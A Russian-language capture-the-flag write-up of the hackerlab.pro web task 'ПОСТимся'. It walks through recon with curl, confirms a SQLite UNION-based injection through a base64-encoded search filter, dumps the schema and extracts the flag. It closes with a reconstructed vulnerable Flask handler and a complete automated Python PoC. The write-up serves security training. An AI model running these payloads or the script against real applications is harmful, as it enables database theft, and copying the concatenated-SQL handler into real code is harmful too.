May 18

День 43. ПОСТимся hackerlab.pro

Таск:

Решил, что здесь я буду писать свои посты, но до конца ещё всё не оформил

IP: 62.173.140.174:16112



Привет.

Дисклеймер!

Начнем.
==============================================================
ОТЧЁТ ПО РЕШЕНИЮ ЗАДАЧИ "ПОСТимся" — Hackerlab.pro
==============================================================

Уровень: Средний
Категория: Web / API / SQL Injection (SQLite)
Цель: http://62.173.140.174:16112/
Флаг: CODEBY{ap1_vuln_sqli_fl4g}


## 0. Условие

> Решил, что здесь я буду писать свои посты, но до конца ещё всё не оформил
> IP: 62.173.140.174:16112

Название «ПОСТимся» — каламбур: «постить» (писать посты) ↔ HTTP `POST`. Уже из условия видно, что фокус будет на POST-запросах к API, а сервис «не до конца оформлен» — намёк на халтурную фильтрацию ввода.


## Шаг 1. Первичная разведка — что за сервис


curl -s -i http://62.173.140.174:16112/ --max-time 10

Выдача (фрагмент):

HTTP/1.1 200 OK
Server: Werkzeug/3.1.5 Python/3.11.6
Content-Type: text/html; charset=utf-8

<title>Blog API Search</title>
...
<form id="searchForm">
<input type="text" id="search" ...>
<button type="submit">Search</button>
</form>
...
<script>
function toBase64(str) { return btoa(unescape(encodeURIComponent(str))); }
function searchPosts() {
const query = document.getElementById('search').value;
const encoded = toBase64(query);
fetch('/api/posts/search', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({ filter: encoded })
})...
}
</script>
```

**Рассуждение.** - Что мы узнали
1. Заголовок Server: Werkzeug/3.1.5 Python/3.11.6 — это Flask-
приложение на Python 3.11. Werkzeug-сервер часто используют
как dev-сервер; в проде иногда забывают режим debug, но
/console тут (как мы увидим дальше) не открыт.

2. На странице один JS-скрипт. Он берёт значение из поля поиска,
прогоняет через btoa(unescape(encodeURIComponent(str))) — это
стандартный JS-приём, чтобы корректно закодировать UTF-8 в
base64. Затем шлёт POST /api/posts/search с телом
{"filter": "<base64>"}.

3. Это и есть наша единственная точка входа. Base64 — ВСЕГДА
кодировка, а не защита. Декодированное значение почти
гарантированно попадёт в какой-то запрос на сервере (SQL,
eval, MongoDB filter, что-то ещё), и наша задача — понять
какой и как именно.

## Шаг 2. Карта эндпоинтов

Зачем: проверить, нет ли соседних маршрутов (админка, доку-
ментация, debug-консоль Werkzeug, /api/posts/<id>, дефолтные
файлы вроде robots.txt). Делаем массовую проверку HEAD-ами
через curl с выводом только кода ответа и размера.

Команда:

for ep in /api /api/posts /api/posts/1 /api/users /admin /debug /console /api/admin /static/style.css /robots.txt /sitemap.xml; do
echo "=== $ep ==="
curl -s -o /dev/null -w "HTTP %{http_code} | Size: %{size_download}\n" "http://62.173.140.174:16112$ep" --max-time 5
done

Флаги curl:
-s без прогресс-бара
-o /dev/null не печатать тело ответа
-w формат для вывода: код ответа и размер скачанного
--max-time таймаут 5 секунд на запрос

Выдача:

=== /api === HTTP 404
=== /api/posts === HTTP 200 | 528
=== /api/posts/1 === HTTP 404
=== /api/users === HTTP 404
=== /admin === HTTP 404
=== /debug === HTTP 404
=== /console === HTTP 404
=== /api/admin === HTTP 404
=== /static/style.css === HTTP 200 | 1940
=== /robots.txt === HTTP 404
=== /sitemap.xml === HTTP 404
```

Из живых нашли только /api/posts и /static/style.css. Дальше
проверим разрешённые методы на /api/posts и /api/posts/search.

Проверка разрешённых методов:

curl -s -X OPTIONS http://62.173.140.174:16112/api/posts/search -i
curl -s -X OPTIONS http://62.173.140.174:16112/api/posts -i

Команда:

curl -s -X OPTIONS http://62.173.140.174:16112/api/posts/search -i --max-time 10

Ответ:
HTTP/1.1 200 OK
Server: Werkzeug/3.1.5 Python/3.11.6
Date: Mon, 18 May 2026 07:21:05 GMT
Content-Type: text/html; charset=utf-8
Allow: POST, OPTIONS
Content-Length: 0
Connection: close


Команда:

curl -s -X OPTIONS http://62.173.140.174:16112/api/posts -i --max-time 10

Полный ответ:

HTTP/1.1 200 OK
Server: Werkzeug/3.1.5 Python/3.11.6
Date: Mon, 18 May 2026 07:21:06 GMT
Content-Type: text/html; charset=utf-8
Allow: OPTIONS, GET, HEAD
Content-Length: 0
Connection: close

Также сразу проверил, можно ли создать пост (вдруг условие
буквально про "пишу свои посты"):

curl -s -i -X POST http://62.173.140.174:16112/api/posts -H "Content-Type: application/json" -d '{"title":"test","content":"test"}' --max-time 10

Полный ответ:

HTTP/1.1 405 METHOD NOT ALLOWED
Server: Werkzeug/3.1.5 Python/3.11.6
Date: Mon, 18 May 2026 07:21:01 GMT
Content-Type: text/html; charset=utf-8
Allow: OPTIONS, GET, HEAD
Content-Length: 153
Connection: close

<!doctype html>
<html lang=en>
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>

И посмотрел список постов:

curl -s http://62.173.140.174:16112/api/posts --max-time 10

Полный ответ:

{"data":[{"content":"This is the very first post on our blog API. Feel free to search for posts using the form above!","id":1,"title":"Welcome to our blog"},{"content":"Capture‑the‑flag challenges are fun ways to learn about software security. This blog discusses how to build engaging CTFs.","id":2,"title":"https://hackerlab.pro"},{"content":"Never trust user input directly: use parameterised queries, validate inputs and follow secure coding guidelines.","id":3,"title":"Security Best Practices"}],"success":true}

Что узнали:

1. /api/posts/search принимает только POST.
2. /api/posts отдаёт список из трёх постов с полями id, title,
content (важно — нужно для построения UNION позже).
3. Создавать посты нельзя (POST/PUT на /api/posts → 405). "Писать
посты" в условии — это просто отсылка к глаголу "постить". (POSTing)
4. Никаких админок, debug-консолей, документации API наружу нет.

Вывод: вся поверхность атаки — единственный параметр filter в
POST /api/posts/search.


## Шаг 3. Поведение фильтра

Зачем: понять, что именно делает filter на сервере. Это поиск
по подстроке (SQL LIKE)? Точное совпадение? Регулярка? Какой-то
DSL? От ответа зависит дальнейший вектор.

Кодируем строки и шлём запросы. =

3.1. filter = "test"

echo -n "test" | base64

Вывод:

dGVzdA==

Запрос:

curl -s -X POST http://62.173.140.174:16112/api/posts/search -H "Content-Type: application/json" -d '{"filter":"dGVzdA=="}' --max-time 10

Полный ответ:

{"data":[],"success":true}

Слово "test" в заголовках постов отсутствует → пустой массив.
Ошибки нет, значит до сервера запрос дошёл корректно.

3.2. filter = "a"

echo -n "a" | base64

Вывод:

YQ==

Запрос:

curl -s -X POST http://62.173.140.174:16112/api/posts/search -H "Content-Type: application/json" -d '{"filter":"YQ=="}' --max-time 10

Полный ответ:

{"data":[{"content":"Capture‑the‑flag challenges are fun ways to learn about software security. This blog discusses how to build engaging CTFs.","id":2,"title":"https://hackerlab.pro"},{"content":"Never trust user input directly: use parameterised queries, validate inputs and follow secure coding guidelines.","id":3,"title":"Security Best Practices"}],"success":true}

Вернулись посты #2 ("https://hackerlab.pro") и #3 ("Security
Best Practices") — в обоих заголовках есть буква "a". Пост #1
("Welcome to our blog") — нет. Значит, поиск по подстроке, и не
по началу строки, а где угодно (либо там LIKE '%a%', либо что-то
эквивалентное).

3.3. filter = "%"

echo -n "%" | base64

Вывод:

JQ==

Запрос:

curl -s -X POST http://62.173.140.174:16112/api/posts/search -H "Content-Type: application/json" -d '{"filter":"JQ=="}' --max-time 10

Полный ответ:

{"data":[{"content":"This is the very first post on our blog API. Feel free to search for posts using the form above!","id":1,"title":"Welcome to our blog"},{"content":"Capture‑the‑flag challenges are fun ways to learn about software security. This blog discusses how to build engaging CTFs.","id":2,"title":"https://hackerlab.pro"},{"content":"Never trust user input directly: use parameterised queries, validate inputs and follow secure coding guidelines.","id":3,"title":"Security Best Practices"}],"success":true}

Вернулись все три поста. Это уже сильный сигнал: символ "%" в
LIKE-выражении SQL — это wildcard "любая последовательность
символов". Поведение совпало с SQL LIKE.

3.4. Пустое тело и пустой filter — пограничные случаи

curl -s -X POST http://62.173.140.174:16112/api/posts/search -H "Content-Type: application/json" -d '{}' --max-time 10

Полный ответ:

{"data":[{"content":"This is the very first post on our blog API. Feel free to search for posts using the form above!","id":1,"title":"Welcome to our blog"},{"content":"Capture‑the‑flag challenges are fun ways to learn about software security. This blog discusses how to build engaging CTFs.","id":2,"title":"https://hackerlab.pro"},{"content":"Never trust user input directly: use parameterised queries, validate inputs and follow secure coding guidelines.","id":3,"title":"Security Best Practices"}],"success":true}

curl -s -X POST http://62.173.140.174:16112/api/posts/search -H "Content-Type: application/json" -d '{"filter":""}' --max-time 10

Полный ответ:

{"data":[{"content":"This is the very first post on our blog API. Feel free to search for posts using the form above!","id":1,"title":"Welcome to our blog"},{"content":"Capture‑the‑flag challenges are fun ways to learn about software security. This blog discusses how to build engaging CTFs.","id":2,"title":"https://hackerlab.pro"},{"content":"Never trust user input directly: use parameterised queries, validate inputs and follow secure coding guidelines.","id":3,"title":"Security Best Practices"}],"success":true}

В обоих случаях возвращаются все посты. То есть пустой фильтр
сервер сам трактует как "%" — это типично для конструкции вида
WHERE title LIKE '%' || ? || '%'.

Промежуточный вывод. На сервере, вероятнее всего, выполняется
запрос вроде:

SELECT id, title, content FROM posts WHERE title LIKE '%<filter>%'

где <filter> — декодированный base64-параметр. Если это так и
параметр подставляется конкатенацией (без параметризации) — у
нас будет SQL-инъекция.


## Шаг 4. Подтверждение SQL-инъекции и определение СУБД

Зачем: проверить, экранирует ли сервер одинарную кавычку. Если
не экранирует — мы сломаем синтаксис SQL и увидим ошибку с
характерным текстом, по которому распознаем СУБД.

4.1. Одинарная кавычка

echo -n "'" | base64

Вывод:

Jw==

Запрос:

curl -s -X POST http://62.173.140.174:16112/api/posts/search -H "Content-Type: application/json" -d '{"filter":"Jw=="}' --max-time 10

Полный ответ:

{"error":"unrecognized token: \"'\"","success":false}

Кавычка влетает в SQL "как есть" и ломает запрос. Сообщение
"unrecognized token: \"'\"" — это дословный текст ошибки SQLite
при разборе токенов. Значит:

- СУБД — SQLite.
- Кавычки не экранируются.
- Сервер ВОЗВРАЩАЕТ внутренний текст ошибки наружу (это
подарок при эксплуатации).

4.2. Дополнительная проверка — NUL-байт

Бонусный сигнал, чтобы убедиться, что строка реально доходит в
драйвер БД "сырая":

curl -s -X POST http://62.173.140.174:16112/api/posts/search -H "Content-Type: application/json" -d '{"filter":"AAEC"}' --max-time 10

"AAEC" в base64 = 0x00 0x01 0x02. Ответ:

{"error":"the query contains a null character","success":false}

Это уже исключение SQLite ProgrammingError: SQLite не любит
NUL в строке SQL. Значит, декодированный base64 действительно
склеивается с текстом запроса.

4.3. Что мы знаем теперь

- Сервер: Flask + SQLite + что-то вроде sqlite3.execute().
- Параметризации нет (filter влетает прямо в текст запроса).
- Запрос: SELECT id, title, content FROM posts WHERE title LIKE '%<filter>%'.
- Сообщения об ошибках возвращаются в JSON как поле "error" —
это бесплатная диагностика.


## Шаг 5. UNION — определяем число колонок

Зачем: при UNION число и типы колонок в обоих SELECT должны
совпадать. Нам нужно угадать это число, чтобы прицепить свой
запрос. Из JSON ответа /api/posts мы уже видели id, title,
content — три поля. Но это полей в ответе, а количество колонок
в SELECT может отличаться. Поэтому проверим явно.

5.1. Пробуем 3 колонки

echo -n "%' UNION SELECT 1,2,3-- " | base64

Вывод:

JScgVU5JT04gU0VMRUNUIDEsMiwzLS0g

Разбор пейлоада:
%' закрываем LIKE-литерал (одинарной кавычкой)
и оставляем "%" как валидную часть
предыдущего LIKE
UNION SELECT 1,2,3 собственно UNION с тремя константами
-- (с пробелом) SQL-комментарий до конца строки, чтобы
выкинуть оставшийся хвост запроса:
...%' (и заключительную закрывающую
кавычку, и закрывающий "%")
пробел после -- обязателен в SQLite, чтобы комментарий
нормально интерпретировался

Запрос:

curl -s -X POST http://62.173.140.174:16112/api/posts/search -H "Content-Type: application/json" -d '{"filter":"JScgVU5JT04gU0VMRUNUIDEsMiwzLS0g"}' --max-time 10

Полный ответ:

{"data":[{"content":3,"id":1,"title":2},{"content":"This is the very first post on our blog API. Feel free to search for posts using the form above!","id":1,"title":"Welcome to our blog"},{"content":"Capture‑the‑flag challenges are fun ways to learn about software security. This blog discusses how to build engaging CTFs.","id":2,"title":"https://hackerlab.pro"},{"content":"Never trust user input directly: use parameterised queries, validate inputs and follow secure coding guidelines.","id":3,"title":"Security Best Practices"}],"success":true}

Первая запись в массиве — наша подделка: {"id":1, "title":2,
"content":3}. Значит:

- Колонок ровно 3.
- Маппинг "колонка → ключ JSON":
1-я колонка → id
2-я колонка → title
3-я колонка → content
- SQLite не ругается на смешанные типы (INTEGER в title и
content) — она динамически типизирована.

5.2. Контроль с 4 колонками

echo -n "%' UNION SELECT 1,2,3,4-- " | base64

Вывод:

JScgVU5JT04gU0VMRUNUIDEsMiwzLDQtLSA=

Запрос:

curl -s -X POST http://62.173.140.174:16112/api/posts/search -H "Content-Type: application/json" -d '{"filter":"JScgVU5JT04gU0VMRUNUIDEsMiwzLDQtLSA="}' --max-time 10

Полный ответ:

{"error":"SELECTs to the left and right of UNION do not have the same number of result columns","success":false}

Подтверждено: левая часть UNION возвращает 3 колонки. Идеальный
канал утечки — 2-я и 3-я колонки (title, content), туда положим
данные.


## Шаг 6. Дамп схемы из `sqlite_master`

Зачем: узнать имена пользовательских таблиц и их структуру.
В SQLite есть служебная таблица sqlite_master со столбцами:

type | 'table' / 'index' / 'view' / 'trigger'
name | имя объекта
tbl_name| имя таблицы
rootpage| внутренний номер страницы
sql | оригинальный DDL (CREATE TABLE ...)

Команда генерации пейлоада:

echo -n "%' UNION SELECT 1,name,sql FROM sqlite_master-- " | base64

Вывод:

JScgVU5JT04gU0VMRUNUIDEsbmFtZSxzcWwgRlJPTSBzcWxpdGVfbWFzdGVyLS0g

Запрос:

curl -s -X POST http://62.173.140.174:16112/api/posts/search -H "Content-Type: application/json" -d '{"filter":"JScgVU5JT04gU0VMRUNUIDEsbmFtZSxzcWwgRlJPTSBzcWxpdGVfbWFzdGVyLS0g"}' --max-time 10 | python3 -m json.tool

(python3 -m json.tool используется только для красивого
форматирования JSON, на саму уязвимость не влияет.)

Полный ответ:

{
"data": [
{
"content": "This is the very first post on our blog API. Feel free to search for posts using the form above!",
"id": 1,
"title": "Welcome to our blog"
},
{
"content": "CREATE TABLE flag (\n flag TEXT NOT NULL\n )",
"id": 1,
"title": "flag"
},
{
"content": "CREATE TABLE posts (\n id INTEGER PRIMARY KEY AUTOINCREMENT,\n title TEXT NOT NULL,\n content TEXT NOT NULL\n )",
"id": 1,
"title": "posts"
},
{
"content": "CREATE TABLE sqlite_sequence(name,seq)",
"id": 1,
"title": "sqlite_sequence"
},
{
"content": "Capture‑the‑flag challenges are fun ways to learn about software security. This blog discusses how to build engaging CTFs.",
"id": 2,
"title": "https://hackerlab.pro"
},
{
"content": "Never trust user input directly: use parameterised queries, validate inputs and follow secure coding guidelines.",
"id": 3,
"title": "Security Best Practices"
}
],
"success": true
}

Из вывода видим три пользовательских объекта:

flag CREATE TABLE flag (flag TEXT NOT NULL)
posts CREATE TABLE posts (id INTEGER PRIMARY KEY AUTOINCREMENT, title TEXT NOT NULL, content TEXT NOT NULL)
sqlite_sequence служебная таблица AUTOINCREMENT

Таблица flag с единственной колонкой flag — наша цель.


## ШАГ 7. ИЗВЛЕЧЕНИЕ ФЛАГА

Зачем: финальный шаг — прочитать значение колонки flag из
таблицы flag.

Команда генерации пейлоада:

echo -n "%' UNION SELECT 1,flag,flag FROM flag-- " | base64

Вывод:

JScgVU5JT04gU0VMRUNUIDEsZmxhZyxmbGFnIEZST00gZmxhZy0tIA==

Кладём значение и в title, и в content — мало ли, какое поле
сервер обрежет; на практике оба возвращаются полностью.

Запрос:

curl -s -X POST http://62.173.140.174:16112/api/posts/search -H "Content-Type: application/json" -d '{"filter":"JScgVU5JT04gU0VMRUNUIDEsZmxhZyxmbGFnIEZST00gZmxhZy0tIA=="}' --max-time 10 | python3 -m json.tool

Полный ответ:

{
"data": [
{
"content": "CODEBY{ap1_vuln_sqli_fl4g}",
"id": 1,
"title": "CODEBY{ap1_vuln_sqli_fl4g}"
},
{
"content": "This is the very first post on our blog API. Feel free to search for posts using the form above!",
"id": 1,
"title": "Welcome to our blog"
},
{
"content": "Capture‑the‑flag challenges are fun ways to learn about software security. This blog discusses how to build engaging CTFs.",
"id": 2,
"title": "https://hackerlab.pro"
},
{
"content": "Never trust user input directly: use parameterised queries, validate inputs and follow secure coding guidelines.",
"id": 3,
"title": "Security Best Practices"
}
],
"success": true
}


ФЛАГ:

CODEBY{ap1_vuln_sqli_fl4g}


## ПОЧЕМУ СЕРВИС УЯЗВИМ

Реконструкция серверного кода (с высокой долей уверенности):

@app.route('/api/posts/search', methods=['POST'])
def search():
data = request.get_json()
try:
filt = base64.b64decode(data.get('filter', ''),
validate=True).decode()
except Exception:
return jsonify(success=False,
error='invalid base64 encoding')
try:
rows = db.execute(
f"SELECT id, title, content FROM posts "
f"WHERE title LIKE '%{filt}%'"
).fetchall()
except sqlite3.Error as e:
return jsonify(success=False, error=str(e))
return jsonify(success=True,
data=[dict(r) for r in rows])

Совершённые ошибки:

1. Конкатенация строк в SQL вместо параметризации. Это
фундаментальная причина уязвимости.

2. Base64 на фронте создаёт иллюзию "защиты" — но это просто
кодировка. Любой пейлоад с одинарной кавычкой и UNION легко
проходит через btoa() / base64.b64decode().

3. Сообщения об ошибках SQLite (unrecognized token, the query
contains a null character, SELECTs to the left and right of
UNION ...) уходят клиенту напрямую — это превращает blind-
эксплуатацию в обычную error-based, что заметно проще.

4. Никакой allow-list для содержимого filter не применяется.


## Готовый PoC

Сам скрипт

poc.py

#!/usr/bin/env python3
"""
PoC: SQL Injection в POST /api/posts/search на hackerlab.pro
Задача: "ПОСТимся"

Уязвимость:
Параметр `filter` (base64-обёрнутый) подставляется в SQLite-запрос
через конкатенацию строк:
SELECT id, title, content FROM posts WHERE title LIKE '%<filter>%'
Это позволяет провести UNION-based SQL-инъекцию и извлечь
содержимое произвольной таблицы (в т.ч. таблицы `flag`).

Использование:
python3 poc.py # с дефолтным таргетом
python3 poc.py http://IP:PORT # с произвольным таргетом
"""

import sys
import json
import base64
import urllib.request
import urllib.error


DEFAULT_TARGET = "http://62.173.140.174:16112"
ENDPOINT = "/api/posts/search"


# ---------- цветной вывод ----------

class C:
G = "\033[38;5;46m" # ярко-зелёный "хакерский"
W = "\033[97m" # белый
BOLD = "\033[1m"
DIM = "\033[2m"
END = "\033[0m"


def banner(text):
print()
print(f"{C.BOLD}{C.G}{'=' * 68}{C.END}")
print(f"{C.BOLD}{C.G}{text}{C.END}")
print(f"{C.BOLD}{C.G}{'=' * 68}{C.END}")


def step(num, title):
print()
print(f"{C.BOLD}{C.G}[ШАГ {num}]{C.END} {C.BOLD}{C.W}{title}{C.END}")
print(f"{C.G}{'-' * 68}{C.END}")


def info(label, value):
print(f" {C.G}{label}:{C.END} {C.W}{value}{C.END}")


def good(text):
print(f" {C.BOLD}{C.G}[+]{C.END} {C.W}{text}{C.END}")


def bad(text):
print(f" {C.BOLD}{C.G}[-]{C.END} {C.W}{text}{C.END}")


def note(text):
print(f" {C.G}[*]{C.END} {C.W}{text}{C.END}")


# ---------- HTTP ----------

def send_filter(target, raw_payload, timeout=10):
"""
Кодирует raw_payload в base64 и отправляет POST на /api/posts/search.
Возвращает (json_obj, b64_payload).
"""
b64 = base64.b64encode(raw_payload.encode()).decode()
body = json.dumps({"filter": b64}).encode()

req = urllib.request.Request(
url=target + ENDPOINT,
data=body,
headers={"Content-Type": "application/json"},
method="POST",
)
try:
with urllib.request.urlopen(req, timeout=timeout) as resp:
data = resp.read().decode(errors="replace")
except urllib.error.HTTPError as e:
data = e.read().decode(errors="replace")
except urllib.error.URLError as e:
bad(f"сеть недоступна: {e}")
sys.exit(1)

try:
return json.loads(data), b64
except json.JSONDecodeError:
return {"_raw": data}, b64


# ---------- шаги PoC ----------

def step1_probe(target):
step(1, "Проверка доступности и базового поведения фильтра")
note("Шлём filter='%' — в SQL LIKE это wildcard. Если вернутся "
"все посты, значит на сервере действительно LIKE-подобный поиск.")

payload = "%"
info("Raw payload", repr(payload))
res, b64 = send_filter(target, payload)
info("Base64", b64)
info("Тело запроса", json.dumps({"filter": b64}))

if res.get("success") and res.get("data"):
good(f"сервер вернул {len(res['data'])} пост(ов) — поиск работает")
else:
bad(f"неожиданный ответ: {res}")
sys.exit(1)


def step2_confirm_sqli(target):
step(2, "Подтверждение SQL-инъекции (одинарная кавычка)")
note("Шлём filter='. Если кавычка экранируется — получим пустой "
"массив. Если влетает в SQL как есть — сервер вернёт SQL-ошибку, "
"и по её тексту мы определим тип СУБД.")

payload = "'"
info("Raw payload", repr(payload))
res, _ = send_filter(target, payload)
info("Ответ", json.dumps(res, ensure_ascii=False))

err = (res.get("error") or "").lower()
if "unrecognized token" in err:
good("SQLi подтверждена. СУБД: SQLite "
"(подпись: 'unrecognized token').")
elif "syntax" in err or "sql" in err:
good(f"SQL-ошибка от сервера: {res.get('error')}")
else:
bad("кавычка обрабатывается безопасно — инъекция не очевидна")
sys.exit(1)


def step3_columns(target):
step(3, "Определение числа колонок через UNION SELECT")
note("Подбираем количество колонок: SELECT в UNION должен "
"возвращать столько же столбцов, сколько и оригинальный.")

for n in (1, 2, 3, 4, 5):
cols = ",".join(str(i) for i in range(1, n + 1))
payload = f"%' UNION SELECT {cols}-- "
res, _ = send_filter(target, payload)
info(f"{n} колонк(а/и)", json.dumps(res)[:120] + (
"..." if len(json.dumps(res)) > 120 else ""))
if res.get("success"):
good(f"подошло: {n} колонок")
return n

bad("не удалось определить число колонок")
sys.exit(1)


def step4_dump_schema(target, n_cols):
step(4, "Дамп схемы из sqlite_master")
note("sqlite_master хранит DDL всех пользовательских таблиц. "
"Достаём столбцы name и sql.")

# формат: 1, name, sql, ... , паддинг 4..N если нужно
extra = ",".join(str(i) for i in range(4, n_cols + 1))
cols = "1,name,sql" + ("," + extra if extra else "")
payload = f"%' UNION SELECT {cols} FROM sqlite_master-- "

info("Raw payload", payload)
res, b64 = send_filter(target, payload)
info("Base64", b64)

if not res.get("success"):
bad(f"ошибка: {res}")
sys.exit(1)

tables = []
for row in res["data"]:
name = row.get("title")
ddl = row.get("content", "")
if isinstance(ddl, str) and ddl.upper().startswith("CREATE TABLE"):
tables.append((name, ddl))

good(f"обнаружено таблиц: {len(tables)}")
for name, ddl in tables:
print(f" {C.BOLD}{C.G}{name:<20}{C.END} {C.W}{ddl.strip()[:80]}{C.END}")

flag_table = next((t for t in tables if "flag" in (t[0] or "").lower()), None)
if flag_table:
good(f"найдена таблица с флагом: {flag_table[0]}")
return flag_table
bad("таблица с флагом не найдена — нужно искать вручную")
sys.exit(1)


def step5_extract_flag(target, n_cols, flag_table):
step(5, "Извлечение флага")
table_name, ddl = flag_table

# вытаскиваем имя колонки из DDL: CREATE TABLE flag ( flag TEXT NOT NULL )
import re
m = re.search(r"\(\s*([A-Za-z_][A-Za-z0-9_]*)", ddl)
col = m.group(1) if m else "flag"
info("Таблица", table_name)
info("Колонка", col)

extra = ",".join(str(i) for i in range(4, n_cols + 1))
cols = f"1,{col},{col}" + ("," + extra if extra else "")
payload = f"%' UNION SELECT {cols} FROM {table_name}-- "

info("Raw payload", payload)
res, b64 = send_filter(target, payload)
info("Base64", b64)

if not res.get("success"):
bad(f"ошибка: {res}")
sys.exit(1)

flags = []
for row in res["data"]:
title = str(row.get("title", ""))
content = str(row.get("content", ""))
for v in (title, content):
if v and v not in flags and any(s in v.lower() for s in
("flag{", "codeby{", "ctf{", "htb{")):
flags.append(v)

if not flags:
bad("в ответе не нашлось ничего похожего на флаг — вот сырые данные:")
print(json.dumps(res, ensure_ascii=False, indent=2))
sys.exit(1)

return flags[0]


# ---------- main ----------

BANNER = r"""
___ __ __ __ ___ __ __
|__ |__) / \ / ` |__| /\ |__/ |__ |__) | /\ |__)
| ___ | \__/ \__, ___ | | /~~\ | \ |___ | \ |___ /~~\ |__)

"""


def main():
target = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else DEFAULT_TARGET

print(f"{C.BOLD}{C.G}{BANNER}{C.END}")
banner(f"PoC SQLi — POSTимся ({target})")
info("Target", target)
info("Endpoint", ENDPOINT)
info("Метод", "POST + JSON {filter: base64}")

step1_probe(target)
step2_confirm_sqli(target)
n_cols = step3_columns(target)
flag_table = step4_dump_schema(target, n_cols)
flag = step5_extract_flag(target, n_cols, flag_table)

banner("РЕЗУЛЬТАТ")
print(f" {C.BOLD}{C.G}FLAG:{C.END} {C.BOLD}{C.W}{flag}{C.END}")
print()


if __name__ == "__main__":
main()


Основная группа обучения ИБ
Lab-группу с полезным софтом / книгами / аудио.
Чат для обсуждений, задавай свои вопросы.
P.S. С вами был @Fnay_Offensive
До новой встречи, user_name!